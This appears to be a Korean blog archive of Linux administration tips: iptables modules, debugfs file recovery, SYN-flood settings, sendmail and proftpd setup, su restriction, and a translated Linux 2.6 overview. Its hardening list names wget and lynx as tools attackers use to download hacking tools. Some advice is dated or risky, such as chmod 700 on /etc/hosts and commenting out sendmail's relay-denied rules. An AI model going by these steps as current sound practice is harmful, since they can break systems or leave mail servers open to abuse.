A에 대한) –iplimit-above N ex) ./iptables –A INPUT –p tcp –-syn –-dport http –m iplimit –-iplimit-above 4 –j REJECT è 자신의 컴퓨터로 들어오는 http 연결을 4개로 제한한다. 7) IP option Ipv4options module을 사용하면 설정된 ip option에 의해 패킷을 filtering 할 수 있다. ¨ 사용법 -m ipv4options + --ssrr à strict source routing flag에 match되는 것 filtering --lsrr à loose source routing flag “ “ --no-srr à source routing을 가지지 않는 packet에 match 되는 것을 filtering --rr à record route flag에 match 되는 것을 filtering [!] –-ts à time stamp flag option을 가지는 것 [!] –-ra à router-alert option [!] –-any-opt à 적어도 하나의 ip option을 가진 packet을... ex) ./iptables -A INPUT -m ipv4options --rr -j DROP ./iptables -A INPUT -m ipv4options --ts -j DROP è IP 옵션에 설정된 record-route 또는 timestamp를 가진 모든 packet을 DROP 8) Packet Length Length module을 사용하면 길이에 의한 filtering이 가능하다. 길이는 0x0000(0)부터 0xFFFF(65535)까지 지정할 수 있다. ¨ 사용법 [!] --length L(L은 packet length) : length L인 packet을 막는다 (or length L인 것 만 허용한다 (! 사용할 때)) [!] --length L1 : L2 : L1에서 L2 범위의 length를 막는다 (or 범위의 것만 허용한다) ex) ./iptables -A INPUT -p icmp --icmp-type echo-request -m length --length 85:0xffff -j DROP è 85 바이트보다 큰 패킷 크기를 가진 모든 ping packet을 DROP한다. 9) Host / Broadcast / Multicast : type-base packet matching pkttype module
Posted by tornado
갠적으로 호되게 당한적이 있었는뎅 흐흐흐
이제 걸리면 죽었어 ..ㅋㅋㅋㅋ
우연히 알게되어 나름대로 제 방식대로 글을 쓰고 혹시나 해서 kltp.kldp.org 에서
찾아보니 있더군요.. 에고 팔 아퍼... ^^;;
아래는 제 방식대로의 Tip&Tech 입니다.
----------------------------------------------------------------------
리눅스에서의 파일 삭제는 신중을 기해야 한다. 왜냐면 삭제된 파일은 복구 할 수
없기 때문이다. 이것이 정석이였습니다.
물론 rm 의 소프트링크나 다른 삭제 프로그램으로 대체하는 프로그램들도 있습니다
만 rm 자체의 복구는 없다고 알고 있으신 분들이 대부분 일 겁니다.
해답은
debugfs 라는 명령어 입니다. (man page 참조)
실제 사용예를 들어 설명하겠습니다.
가정1) /home/pds/portsentry.tar.gz 라는 파일이 있음.
가정2) /home 파티션은 hda8 입니다. (df -h 로 확인)
가정3) rm -f /home/pds/portsentry.tar.gz 명령으로 지웠음.
가정4) root 로 작업.
복구 절차.
1. #debugfs /dev/hda8
=> 설명 : hda8 파티션에 대해서 검사를 한다.
2. debugfs:
=> 대기상태를 뜻함. 이곳에서 lsdel 을 입력하고 엔터.
계속...
debugfs: lsdel
99 deleted inodes found.
Inode Owner Mode Size Blocks Time deleted
108123 0 100644 239 1/ 1 Thu Jan 3 01:25:33 2002
18417 0 100644 426625 420/ 420 Thu Jan 3 01:26:34 2002
45007 0 100644 343 1/ 1 Thu Jan 3 01:29:59 2002
28691 0 100400 879 1/ 1 Thu Jan 3 01:38:29 2002
18394 0 40755 0 1/ 1 Thu Jan 3 01:58:54 2002
..
.
14356 0 100644 2325 3/ 3 Fri Jan 25 16:13:24 2002
61239 0 100644 43034 44/ 44 Fri Jan 25 16:13:31 2002
debugfs:
위와 같은 상태로 나오고 다시 대기상태로 됩니다. 실제로는 너무 많이 나오더군
요.. (내가 그렇게 많이 지웠었나? '.'a)
이제 이 목록중에서 하나를 선택해서 살려야 합니다. 다행히도 살리고자 하는 파일
은 가장 최근에 지운 파일이므로 가장 아래쪽에 있는 것이겠죠.
debugfs: dump <61239> /home/debugfs/portsentry.tar.gz
=> Inode 값을 <> 안에 적어줍니다. 뒤에는 복구할 파일 이름을 적어주시면 됩니다.
=> 복구할 파일은 다른 디렉토리로 지정해 주시는게 좋습니다. 별 상관은 없지만...
#cd /home/debugfs
#tar -zxvf portsentry.tar.gz // 정상적으로 압축이 풀리더군요.
=> 아주 훌륭하게 복구가 되었더군요. ^^v
임의로 portsentry.tar.gz 를 지워서 테스트를 한 것입니다.
debugfs: 상태에서 사용할 수 있는 명령어는 help 를 쳐보면 알 수 있습니다.
끝내는 것은 q, quit 입니다.
아래는 debugfs: 에서 사용가능한 명령어들 입니다.
---------------------------------------------------------------------
Available debugfs requests:
show_debugfs_params, params
Show debugfs parameters
open_filesys, open Open a filesystem
close_filesys, close Close the filesystem
feature, features Set/print superblock features
dirty_filesys, dirty Mark the filesystem as dirty
init_filesys Initalize a filesystem (DESTROYS DATA)
show_super_stats, stats Show superblock statistics
ncheck Do inode->name translation
icheck Do block->inode translation
change_root_directory, chroot
Change root directory
change_working_directory, cd
Change working directory
list_directory, ls List directory
show_inode_info, stat Show inode information
link, ln Create directory link
unlink Delete a directory link
mkdir Create a directory
rmdir Remove a directory
rm Remove a file (unlink and kill_file, if appropriate)
kill_file Deallocate an inode and its blocks
clri Clear an inode's contents
freei Clear an inode's in-use flag
seti Set an inode's in-use flag
testi Test an inode's in-use flag
freeb Clear a block's in-use flag
setb Set a block's in-use flag
testb Test a block's in-use flag
modify_inode, mi Modify an inode by structure
find_free_block, ffb Find free block(s)
find_free_inode, ffi Find free inode(s)
print_working_directory, pwd
Print current working directory
expand_dir, expand Expand directory
mknod Create a special file
list_deleted_inodes, lsdel
List deleted inodes
write Copy a file from your native filesystem
dump_inode, dump Dump an inode out to a file
cat Dump an inode out to stdout
lcd Change the current directory on your native
filesystem
rdump Recursively dump a directory to the native filesystem
help Display info on command or topic.
list_requests, lr, ? List available commands.
quit, q Leave the subsystem.
Posted by tornado
Tcp Syn Flooding은 웹으로의 공격이 대부분이므로 syn_recv 프로세스가
일정 개수가 넘게 되면 아파치를 재시작한다. 지속적인 공격일 경우 대처
방안으로 두 가지 방법이 있다.
첫째, sysctl -a |grep syn_backlog으로 확인 후 backlog를 늘려주거나 둘
째, sysctl -a |grep syncookies로 확인 후 syncookies의 값을 1로 바꾸어
준다. syn_backlog의 값을 조정해주는 방법은 다음과 같다.
# sysctl -w net.ipv4.tcp_max_syn_backlog=1024
# echo 1024 > /proc/sys/net/ipv4/tcp_max_syn_backlog
syncookies의 값은 다음과 같이 변경이 가능하다.
# sysctl -w net.ipv4.tcp_syncookies=1
vi /etc/sysctl.conf
추가
# Enable TCP SYN Cookie Protection
net.ipv4.tcp_syncookies=1
/etc/rc.d/init.d/network restart
OK!!
Posted by tornado
sendmail => http://www.sendmail.org 센드메일 설정하는 절차 #cd /etc/mail #vi sendmail.mc 43,44줄 dn1 주석제거 -->스팸메일방지 TRUST_AUTH_MECH(`EXTERNAL DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dn1 define(`confAUTH_MECHANISMS',`EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dn1 85줄 127.0.0.1 => 0.0.0.0 DAEMON_OPTION(`Port=smtp,Addr=0.0.0.0,Name=MTA')dn1 #m4 sendmail.mc > sendmail.cf #vi local-host-names blueji78.com mail.blueji78.com www.blueji78.com #vi access blueji78.com RELAY mail.blueji78.com RELAY www.blueji78.com RELAY #makemap hash access < access #makemap hash mailertable < mailertable #makemap hash domaintable < domaintable #makemap hash virtusertable < vitusertable #vi sendmail.cf 89줄 Cwblueji78.com Cwmail.blueji78.com Cwwww.blueji78.com 147줄 Dnblueji78.com 1216줄 근방에 #anything else is bogus #R$* $#error $@ 5.7.1 $: "550 Relaying denied" 1299줄 근방에 #R<FAIL> $#error $@ 5.7.1 $: "550 Relaying denied. IP name lookup failed "$&{client_name} #setup 실행 시켜서 아래의 항목을 체크한다. mailman ipop3 pop3s sendmail server #/etc/rc.d/init.d/sendmail restart SMTP 테스트 [root@ns]# telnet blueji78.com 25
Trying 192.168.1.1...
Connected to blueji78.com (192.168.1.1).
Escape character is '^]'.
220 kyongjumall ESMTP Sendmail 8.12.8/8.12.8; Sun, 30 May 2004 19:26:27 +0900
EHLO blueji78.com
250-kyongjumall Hello [192.168.1.1], pleased to meet you
250-ENHANCEDSTATUSCODES
250-PIPELINING
250-8BITMIME
250-SIZE
250-DSN
250-ETRN
250-AUTH GSSAPI
250-DELIVERBY
250 HELP 위의 출력이 나오면 SMTP 가 성공이다. quit 타이핑을 하고 빠져나온다. #telnet blueji78.com 110 Trying 192.168.1.1... connected to blueji78.com (192.168.1.1). Escape character is '^]'. +OK POP3 [192.168.1.1] v2001.78rh server ready quit타이핑을 하고 빠져나온다. 지금까지 센드메일 설정이었습니다.
Posted by tornado
chmod 700변경하기
본 권한변경 목적은 계정을 통하지 않은 불법적인 접근을 막기 위한 방법으로 가능한 필요하지 않은 파일들의 권한을 변경해 주시기 바랍니다.특히 suid가 걸린 파일의 경우 절대적으로
권한변경을 해주시기 바랍니다.
#서버 이용자 파악을 하지 못하게 함
/usr/bin/finger (chmod 700 적용)
/usr/bin/nslookup (chmod 700 적용) /usr/bin/gcc (chmod 700 적용)
#suid 걸린 파일 /usr/bin/suidperl (chmod 700 적용)
/usr/bin/whereis (chmod 700 적용) #소스 컴파일은 루트이외에 못하도록 조치
/usr/bin/cc (chmod 700 적용) #perl중에 suid걸린 파일임
/usr/bin/sperl5.00503 (chmod 700 적용)
/usr/bin/c++ (chmod 700 적용)
/usr/bin/make (chmod 700 적용)
/usr/bin/pstree (chmod 700 적용)
/usr/bin/rlog (chmod 700 적용) #필요없는 경우에는 삭제 하시길
/usr/bin/rlogin (chmod 700 적용)
/usr/bin/which (chmod 700 적용)
/usr/bin/who (chmod 700 적용)
/usr/bin/w (chmod 700 적용) #아웃룩익스프레스가 아닌 계정상에서 텔넷으로메일을 확인하지 못하게 하십시요. /bin/mail (chmod 700 적용) /bin/ps (chmod 700 적용)
/etc/hosts (chmod 700 적용)
/etc/hosts.deny (chmod 700 적용)
/etc/hosts.allow (chmod 700 적용)
/usr/bin/top (chmod 700 적용)
/usr/bin/find (chmod 700 적용)
#이두 명령어는일반적으로 해커들이 해킹툴을 가져올때 자주쓰는 명령어
/usr/bin/lynx (chmod 700 적용)
/usr/bin/wget (chmod 700 적용)
shell-prompt>lynx --dump 가져올화일이 있는 url경로
shell-prompt>wget 가져올화일이 있는url 경로
Posted by tornado
anonymous ftp 막기
#vi proftpd.conf (/etc 에 위치)
중략
<Anonymous~ftp> 에서
UserAliasanonymous ftp //이부분을 주석처리 해준다.
wq (저장후 종료)
특정 user가 ftp 접속후 본인의 Directory 외에 다른 유저의
Directory를 접근 못하게 할 경우
(접근을 해서 read 권한만있어도 그 유저의 설정을 모두볼수있다.)
*proftp를 사용하는 경우
# vi /etc/proftpd.conf
이 화일에이 한줄을 추가한다.
DefaultRoot ~ member
[root@ blueji78]# /etc/rc.d/init.d/proftpdrestart
(소스 설치시에는 보통)
[root@ blueji78]# /usr/local/proftpd/sbin/proftpd restart
restart보다 ftp데몬을 죽이고 다시 시작하는게 좋다.
이러면 본인의 Directory외에 다른 유저의 계정은 접근 불가.
Posted by tornado
▩ 서버에서 제한된 유저들만 root로 접근하게 하기
제한된 유저들에게만 su를 허용 #cd /etc/pam.d #vi su auth required /lib/security/pam_wheel.so use_uid의 부분 주석을 제거 /etc/group의 파일을 열어 su를 허용할 계정명들을 wheel에 나열해준다. 예를 들어 mycom와 blueji78의 계정만을 넣어줄경우 : wheel:x:10:root,mycom,blueji78 //을 삽입 (구분자는 쉼표) : : 위에서 지정한 계정외의 계정으로 su를 하면 패스워드가 맞게 들어가도 su: incorrect password라는 프롬프트가 떨어지며 접속이 안된다.
Posted by tornado
리눅스 2.6의 멋진 세상Joseph Pranevich - jpranevich AT kniggit.netTranslated by Nate Park (박종구) - youlsa AT i-on.net첫번째 2.4 시스템이 부팅한 것이 엊그제 같은데 시간은 어느덧 흘러 리눅스 2.6이 세상에 나오게 되었다. 이 문서는 i386 플랫폼을 중심으로 리눅스 커널 2.6의 전반적인 면에 대한 설명을 위한 문서이다. 여기에 설명하는 새로운 기능들 중 몇몇은 공식적으로 또는 배포판 관리자들에 의해 커널 2.4로 백포팅(back-porting)된것도 있을 것이다. 그 외에도 커널 2.4의 유지보수 과정에서 추가된 기능들에 대한 설명도 함께 하도록 하겠다. 현재 이 문서는 10여개의 언어에 대한 번역문서가 존재하며 문서의 제일 아랫쪽을 참조해주기 바란다. 지금까지의 이야기들...리눅스 커널은 리누스 토르발즈가 그의 386 컴퓨터에서 실행가능한 미닉스(minix)와 비슷한 운영체제를 만들기 시작한데서 시작되었다. (처음에 리누스는 운영체제의 이름을 Freax라고 짓고 싶었다고 한다) 싱글 CPU의 i386머신에서만 실행 가능한 리눅스 커널 1.0의 공식 릴리즈는 1994년 3월이었다. 그로부터 1년 후인 1995년 3월에 최초로 i386이 아닌 플랫폼에서 실행가능한 (그러나 여전히 싱글 CPU에서만 동작하는)리눅스 1.2가 릴리즈 되었다. 1996년 6월에 리눅스 2.0이 릴리즈 되었다. 2.0에는 동작 가능한 여러 플랫폼이 추가 되었지만 무엇보다도 다중 CPU를 갖는 머신(SMP)에서 동작하는 최초의 버전이었다. 2.0의 릴리즈 이후 주요 버전의 릴리즈 속도는 다소 늦춰졌다. (리눅스 2.2가 1999년 1월, 2.4가 2001년 1월에 각각 릴리즈 되었다) 하지만 각각의 마이너 버전업은 자주 일어나 지원되는 하드웨어의 범위와 확장성이 개선되어 갔다. (리눅스 2.4는 최초로 ISA 플러그앤 플래이와 USB, PC 카드 등의 기능이 추가되어 최초로 사용자들의 데스크탑에서 쓸만한 버전이었다는 점도 주목할만 하다) 리눅스 2.6은 2003년 12월 17일에 릴리즈 되었다. 2.6은 다양한 추가 기능도 기능이지만 매우 대용량 시스템에서부터 아주 작은 시스템(PDA등)까지 고루 지원한다는 점에 있어서 또 한번의 큰 개선버전이기도 하다. 핵심 하드웨어 지원리눅스의 가장 강력한 점 중 하나는 그 유연성과 지원 하드웨어의 광범위함에 있다. 이 문서는 i386 기반의 PC에서의 사용에 중점을 맞추고 있기는 하지만 리눅스 2.6의 뛰어난 하드웨어 지원은 짚고 넘어갈만 하다. 축소 - 임베디드 시스템을 위한 리눅스리눅스 커널 2.6의 중요한 두가지 변화 중 하나는 유씨리눅스(uClinux) 프로젝트를 메인 커널에 병합했다는 것이다. 유씨리눅스 프로젝트는 마이크로 콘트롤러를 위한 리눅스를 제작하는 프로젝트이다. 유씨리눅스는 이미 임베디드 시장에서는 주요 OS중 하나로 인정받고 있기 때문에 메인 커널에 이를 병합 하는 것은 앞으로의 임베디드 시장에서 리눅스의 발전에도 큰 힘이 된다고 볼 수 있다. 일반적인 리눅스 커널과는 달리 임베디드 플랫폼에 사용되는 리눅스 커널은 하드웨어적 제약 때문에 몇가지 제한이 있게 된다. 가장 중요한 점 하나는 MMU(메모리 관리 유닛 - 프로텍티드 모드의 핵심적 기능을 한다)가 없다는 것이다. 물론 그래도 멀티태스킹 운영체제이기는 하다. (메모리 관리 기능이 없을 경우 한 프로세스가 다른 프로세스의 데이타 영역에서 자료를 읽고 쓰거나 심지어는 프로세스 자체를 망가뜨릴 수도 있다) 하지만 이런 경우 멀티 유저 시스템을 구성하기가 곤란해지지만 PDA와 같은 저가형 소형 디바이스들의 경우에는 훌륭한 선택일 수도 있다. 이런 아키텍쳐 변화가 중요한 것은 2.6 이전까지의 리눅스 커널은 사실상 리누스의 초기 작업들이 수행된 인텔 80386 플랫폼의 영향이 상당히 많이 남아 있었다는 점 때문이다. 리눅스 커널 2.6에서 히타치 H8/300시리즈, NEC v850, 모토롤라의 m68k 임베디드 프로세서 등이 추가적으로 지원되기 시작했다. 보통 리눅스 사용자들이 처음으로 사용하는 PDA가 팜 파일럿 계열인 경우가 많기 때문에 모토롤라의 프로세서들은 어느 정도 친숙할 것이다. 모토롤라나 Lineo, Arcturus등의 Dragonball, Cold Fire같은 제품들이 지원된다. 슬프게도 MMU가 없는 예전의 m68k 계열의 CPU들은 지원되지 않는다. (올드맥에 사용되는 CPU이다) 누군가가 취미 프로젝트로 오래된 머신들에 리눅스를 포팅하는 프로젝트를 시작할 수도 있을 것이다. 유씨 리눅스 통합의 일부는 아니지만 리눅스 커널 2.6에는 Axis Communications의 ETRAX CRIS(Code Reduced Instruction Set)가 지원된다. (사실 이 기능은 2.4 릴리즈 이후 유지보수의 과정에서 추가되었다) 이것들은 주로 네트웍 하드웨어에 사용되는 MMU가 포함된 임베디드 프로세서이다. MMU가 포함되지 않은 프로세서에 대한 지원도 외부 프로젝트로 수행되고 있는 것으로 안다. 하드웨어 지원에 덧붙여 메인 커널에 임베디드에 관한 부분을 통합하여 얻게 된 이점들이 여러가지가 있지만 겉으로 보기에는 특별해 보이지는 않지만, 몇몇 변화사항들, 예컨데 스왑 없이도 시스템을 구성할 수 있는 능력 등등이 커널을 더욱 견고하게 만든 점등이 있을 수 있다. 대규모로 -- NUMA와 대규모 기계들리눅스 커널 2.6의 근본적인 두가지 변화 중 나머지 하나는 아이러니하게도 앞의 것과 정반대 방향으로의 확장이다. 리눅스가 더욱 더 대규모 서버에서 사용 가능하도록 하는 방향이다. (큰 시스템들 중 어떤 시스템은 i386 기반이겠지만 어떤 것은 아니다) 이 방향에서의 리눅스의 가장 큰 변화는 NUMA 서버의 지원이다. NUMA(Non-Uniform Memory Access)의 지원은 멀티 프로세싱에 있어서 SMP에서 한걸음 더 나아간 것으로 많은 CPU를 가진 시스템에서 좀 더 효율적으로 동작할 수 있게 해주는 첫걸음이라고 할 수 있다. 다중 CPU 서버에서는 단일 메모리 버스에 여러개의 CPU들이 동시에 억세스를 하게 되는데 여기에서 병목현상이 발생하게 된다. NUMA 서버에서는 이런 문제를 각각의 CPU에게 다른 메모리보다 가까운 메모리를 지정해주도록 함으로써 해결한다. 기술적으로 정확한 표현은 아니지만, 이렇게 상상하면 쉽다. 시스템이 여러장의 카드로 이루어 졌다고 상상해보자. 각각의 카드들은 각각 자신만의 CPU와 메모리, 입출력 장치들을 가지고 있다. 시스템에 이런 카드들이 많이 있다고 생각하면 각각의 CPU는 (물론 다른 카드의 메모리와 통신을 할수도 있겠지만) 자신과 같은 카드에 있는 메모리가 가장 가깝고 속도도 빠를 것이다. NUMA 아키텍쳐는 이런 식으로 타이트하게 구성된 클러스터라고 생각할 수 있다. 이런 NUMA 머신들을 효율적으로 지원하기 위해 리눅스 커널에서는 몇가지 개선사항을 도입하였다. 우선, 리눅스 커널 내부에서 각각의 프로세서와 메모리들, 입출력 장치들의 관계를 알아낼 수 있도록 위상(topology) API들이 추가되었다. 이를 기반으로 커널의 프로세스 스케쥴러는 최대한 효율적으로 가까운 리소스가 어떤 것인지를 이해하고 활용할 수 있게 된다. 추가적으로 많은 NUMA 머신들은 각 노드가 차지하고 있는 메모리 사이에 구멍이 뚫리도록(어드레스 공간이 연속적이 않다는 뜻) 구현되어 있는데 리눅스 커널에서는 이런 비연속적인 메모리도 제대로 다룰 수 있다. 여기에 언급한 것들 말고도 리눅스 커널에는 대용량의 서버들을 제대로 지원할 수 있는 여러가지 개선사항들이 개선되었고 앞으로도 더욱 많은 개선이 있을 것이다. 서브 아키텍쳐(subarchitecture) 지원앞서의 두가지 변화사항만큼 큰 변화는 아니지만 리눅스 커널의 새 버전에는 더욱 많은 머신에서 리눅스를 실행시킬 수 있도록 해주는 서브 아키텍쳐(subarchitecture)라는 개념이 구현되었다. 이전 버전까지의 리눅스 커널에서는 CPU의 종류와 아키텍쳐의 종류가 일치한다고 가정해왔다. 예를 들어 CPU가 i386이라면 무조건 PC/AT 아키텍쳐 기반의 PC라고 가정을 했던 것이다. 리눅스 2.4에서 이러한 가정이 깨졌는데 SGI의 Visual Workstation때문이었다. CPU만 인텔의 칩이였고 아키텍쳐가 PC와는 완연히 다른 기계이다. (물론 다른 아키텍쳐에서는 그 전에도 이 가정이 깨지긴 했다. m68k 아키텍쳐에서 Amiga, 매킨토시 등이 동시에 지원되는 등의 예가 있었다.) 하지만 리눅스 커널 2.6에서의 큰 변화는 모든 아키텍쳐에 대해 동일한 방법으로 서브 아키텍쳐를 지원할 수 있도록 표준화 되었다는 것이다. 이런 표준화 덕분에 i386에서도 두개의 새로운 플랫폼이 추가 지원된다. 첫번째는 NCR의 Voyager 아키텍쳐이다. 이것은 32개까지의 486-686 CPU를 지원하는 SMP 시스템이다 (현재의 표준인 인텔 MP 스펙이 나오기 전에 나온 시스템이다). 실제 판매된 갯수는 그리 많지 않고 판매된 모든 기계가 지원되는 것은 아니다. (최초에 판매된 머신들은 지원되지 않는다) 새로 추가된 두번째 플랫폼은 NEC가 개발하여 비교적 최근까지 일본 시장에서 독점적 위치를 차지하고 있던 PC-9800이다. PC-9800은 8086에서 시작하여 펜티엄급과 SMP까지 지원되던 성숙한 플랫폼이었다. (물론 리눅스 커널은 80386이상의 머신에서만 동작한다) 미국에는 전혀 소개되지 않았지만 마이크로 소프트의 윈도우 95까지 이 머신에서 동작하도록 포팅되어 판매된 바 있다. 하지만 그 이후에는 표준 PC가 그 자리를 대치해가고 결국 단종되었다. 이런 "약간만 다른" 하드웨어 타입들을 지원할 수 있는 구조 덕분에 앞으로 스토리지 기기라던가 유명 CPU를 사용하는 머신들에 대한 지원이 손쉬워졌다. 하지만 이것이 만능은 아니다. 이런 서브 아키텍쳐는 IRQ 라우팅과 같이 하드웨어의 최하위 레벨의 콤포넌트가 다른 점을 커버하기 위해서 나온 것이다. PC와 거의 동일하지만 아주 약간만 다른 엑스박스에서 리눅스를 돌리는 것과는 다르다는 점을 명심해야 한다. 하이퍼쓰레딩리눅스 커널 2.6에서의 또다른 큰 진보 중 하나는 하이퍼 쓰레딩의 지원이다. 하이퍼 쓰레딩은 현재 최신 펜티엄 4에서만 지원되고 있으나 다른 곳에서도 지원할 수 있을것이다. 하드웨어 적으로 하나의 CPU를 두개나 그 이상의 CPU로 보이도록 해주는 기술이다. 이것은 어떤 경우에는 큰 퍼포먼스 향상을 불러오지만 스케쥴링의 복잡성이 증가하는 원인이 되기도 한다. 커널의 개선사항중 하나는 이제는 커널이 전 CPU(실제이건 가상이건)에 걸쳐 부하를 분산하고 최적화를 할 수 있다는 점이다. 이전 버전의 리눅스 커널에서는 전체적인 부하를 계산할 수 없어서 한개의 CPU가 혹사당하는 일이 잦았었다. 대단한 점은 리눅스 커널이 시장에서 이 기능을 제일 깔끔하고 지능적으로 지원하고 있다는 점이다. (윈도우 2000 서버는 가짜 CPU들을 볼 수 있으나 가상 CPU로 이용하려면 추가 CPU 라이센스가 필요했다. 마이크로 소프트가 이 기능을 제대로 지원하게 되는 것은 윈도우 XP 부터이다) 리눅스 내부확장성의 개선앞서 나열한 NUMA나 하이퍼쓰레딩과 같은 일반적인 기능들 이외에도 리눅스2.6은 인텔 CPU 기반 서버를 십분 활용하게 해주는 기능들을 가지고 있다. 가장 중요한 개선사항은 PAE(Physical Address Extension)이라고 부르는 인텔 하드웨어의 기능이다. 이것은 최신의 32비트 x86 시스템들이 64GB까지의 RAM을 페이지 모드로 읽을 수 있도록 해주는 기능이다. 멀티 CPU 시스템에서의 APIC 지원 개선을 통한 IRQ 밸런싱 기능도 상당히 개선되었다. 새로운 하드웨어 기능 추가 이외에도 내부적 한계치들이 가능한한 최고 수준까지 높여졌다. 예를 들어 유니크한 사용자와 그룹의 수가 65,000에서 40억으로 늘어(16비트에서 32비트로 늘어난 것이다) 리눅스를 파일서버나 인증서버로 활용하는데 지장이 없도록 개선되었다. 프로세스 ID(PID)의 갯수도 32,000개에서 10억개로 증가하여 uptime이 매우 길고 바쁜 서버에서 새로운 프로세스를 생성하는 퍼포먼스가 향상되었다. 열수 있는 최대한의 파일의 갯수는 늘지 않았지만 이전과 같이 미리 원하는 한계치를 지정하지 않아도 자동으로 늘도록 수정되었다. 마지막으로 리눅스 2.6에서 블럭 디바이스들이 64비트를 지원할 수 있도록 수정되었다. i386과 같은 32비트 플랫폼에서도 마찬가지이다. 그래서 일반적인 하드웨어에서 파일 시스템을 16TB 까지 사용할 수 있게 되었다. 리눅스 커널 2.6의 확장성에 대한 개선사항 중 또다른 중요한 점은 커널 자체가 디바이스의 여러 타입을 지원하는 것 뿐만 아니라 한가지 타입의 여러가지 디바이스의 종류를 지원한다는 사실이다. 지금까지의 리눅스들은(사실은 거의 모든 유닉스가 그러하지만) 시스템의 사용자와 프로그램들이 숫자가 메겨진 디바이스 노드와 통신을 하도록 되어 있다. (/dev 디렉토리의 항목들) 이 디바이스 노드들은 255개의 주 디바이스로 제한되고 각각 255개의 부 디바이스로 제한된다. 예를 들어 /dev/sda2라는 디바이스는 첫번째 SCSI 드라이브의 두번째 파티션이라는 뜻인데 주 디바이스 번호가 8이고(SCSI가 다 그렇다) 부 디바이스 번호가 2이다. 다른 타입의 디바이스들은 각각의 주 디바이스 번호와 부 디바이스 번호를 할당 받는다. 하지만 255개 이상의 디바이스가 필요한 서버에서는 난관에 봉착하게 된다. (대형 스토리지 어레이, 프린트 팜 등) 리눅스 2.6에서는 이러한 제한들이 4096 주 디바이스와 각각에 100만개의 부 디바이스를 가질 수 있도록 확장되었다. 현재 나와 있는 최고 사양의 머신들도 아무런 문제없이 지원할 수 있도록 되었다. 상호작용성과 응답성확장성과 함께 새 버전의 개발과정에서 중요하게 여겨진 것은 시스템의 응답성이다. 이것은 일반적인 데스크탑 사용자뿐만 아니라 고도의 정확성을 요구하는 응용 프로그램에게도 유용하다. 물론 이런 개선에도 불구하고 리눅스 2.6은 여전히 리얼타임 OS는 아니다. 리얼타임 OS가 되기 위해서는 액션에 대한 응답이 정해진 시간 안에 분명히 보장되어야 하고 예측가능해야 한다. 그럼에도 불구하고 이러한 응답성의 개선은 모든 계층의 리눅스 사용자들에게 호평받을 것이다. (물론 리얼타임 OS의 기능을 제공하기 위한 프로젝트가 존재한다. 이 프로젝트는 다음번 메이저 릴리즈에 공식적으로 공표될 것이다) 리눅스 커널 2.6의 가장 중요한 개선 사항중 하나는 드디어 커널 자체가 선점형으로 동작한다는 것이다. 이전 버전의 리눅스에서 커널 자체가 작업을 하는 동안에는 다른 프로세스를 위한 인터럽트를 허용하지 않아왔다. (물론 다중 CPU인 시스템에서는 CPU당 그렇다) 리눅스 2.6에서는 커널 자체가 작업을 하는 도중에도 인터럽트되어 다른 어플리케이션이 자신의 작업을 해나갈 수 있다. 물론 여전히 커널이 처리하는 도중에 인터럽트 되지 않는 작업이 있기는 하다. 하지만 실제 상황에서 너무나 짧은 시간이라 대부분의 사용자들은 그 딜레이를 거의 눈치채지 못할 것이다. 결국, 시스템에 부하가 많이 걸리는 상황에서도 사용자의 입력에 대해 시스템이 매우 빠르게 동작하는 것을 느끼게 될 것이다. 리눅스의 입출력 서브시스템들에 대폭적인 수정이 가해져서 큰 부하 아래에서도 응답성이 좋아지도록 개선되었다. 이것은 I/O 스케쥴러를 재작성하여 구현되었다. I/O 스케쥴러는 특정 시간에 어떤 프로세스가 디바이스들을 점유할 것인지를 결정하는 역할을 하는 커널 내의 루틴이다. 새로 작성된 스케쥴러는 한 프로세스가 너무 오랫동안 대기하지 않도록 효율적인 배분이 가능하게 해준다. 어플리케이션 측면에서 리눅스용 프로그램들의 응답성이 개선되도록 돕기 위해 새로운 futex(Fast User-Space Mutex)가 지원된다. Futex는 여러 프로세스나 쓰레드들 사이에서의 레이스 컨디션(race condition)을 피할 수 있도록 이벤트들을 시리얼라이즈(serialize)되도록 한다. 기존의 Mutex와는 달리 Futex는 절반 정도는 커널에 기반하고 우선순위가 높은 어플리케이션이나 쓰레드가 리소스에 우선적으로 접근할 수 있도록 한다. 프로그램이 태스크들에 우선순위를 먹여 이를 기반으로 Mutex를 걸도록 함으로써 반응시간을 향상 시킬 수 있는 것이다. 위의 것들에 덧붙여 많은 경우에 응답성을 강화해주는 소소한 개선사항들이 포함되어 있다. 이중 하나는 이른바 "Big Kernel Lock"을 제거했다는 것과 파일시스템 미리 읽기의 최적화, 소규모 파일 처리 등등이 그것이다. 기타 개선 사항들다른 오픈소스 프로젝트들도 그렇듯이 리눅스는 오픈 스탠다드를 지향한다. 커널 2.6의 주요 개선 사항중 하나는 쓰레드 구조의 변경을 통해 POSIX 쓰레드 라이브러리(NPTL)을 돌릴 수 있다는 것이다. 이것은 많은 쓰레드를 동시에 돌리는 펜티엄 프로나 그 이상의 프로세서에서 큰 퍼포먼스 개선효과를 보여주며, 아마도 엔터프라이즈 시장에서 가장 각광 받을 개선사항일 수 있을 것이다. (사실 레드햇은 이미 이 기능을 2.4로 백포트(backport)하여 레드햇 9와 어드밴스드 서버 3.0에 포함시켰다) 이 변화는 쓰레드 그룹, 각 쓰레드의 로컬 메모리, POSIX 스타일의 시그널 등과 같은 리눅스 쓰레드의 새로운 컨셉들을 포함한다. 한가지 단점은 몇몇 버전의 Sun Java와 같이 예전의 리눅스를 기준으로 작성된 어플리케이션들이 제대로 동작하지 못할수도 있다는 것이다. 하지만 장점이 워낙 크기 때문에 대부분의 문제 어플리케이션들도 결국에는 새 커널을 제대로 지원할 것이다. 모듈 서브시스템과 통합 디바이스 모델요즘의 운영체제들은 수많은 종류의 내부/외부 버스와 디바이스들을 다루어야만 한다. 새 버전의 리눅스에서 이 점이 대폭 보강된 것도 그리 놀라울 일은 아니다. 모듈 로더뿐만이 아니라 하드웨어에 대한 이해방식 자체도 상당한 변화가 있다. 변화된 부분은 우스울 정도로 간단한 것부터 시작해서 (드라이버 모듈이 이전에는 ".o"확장자를 가졌는데 이제는 커널 오브젝트를 뜻하는 ".ko"로 바뀐 것) 크게는 통합 디바이스 모델(unified device model)의 도입까지이다. 모두 안정성의 개선과 이전 버전의 한계를 극복하기 위한 방향으로 작업이 진행되었다. 모듈 서브 시스템의 안정성을 강화하기 위해 많은 큰 변화사항들이 존재한다. 모듈을 내리는(unload) 경우 모듈이 사용중인 와중에 내리게 되는 경우를 줄었다. 이전에는 대부분 시스템 크래쉬를 유발하는 경우가 많았었다. 안정적으로 돌아가야 하는 서버들을 위해 모듈을 내리는 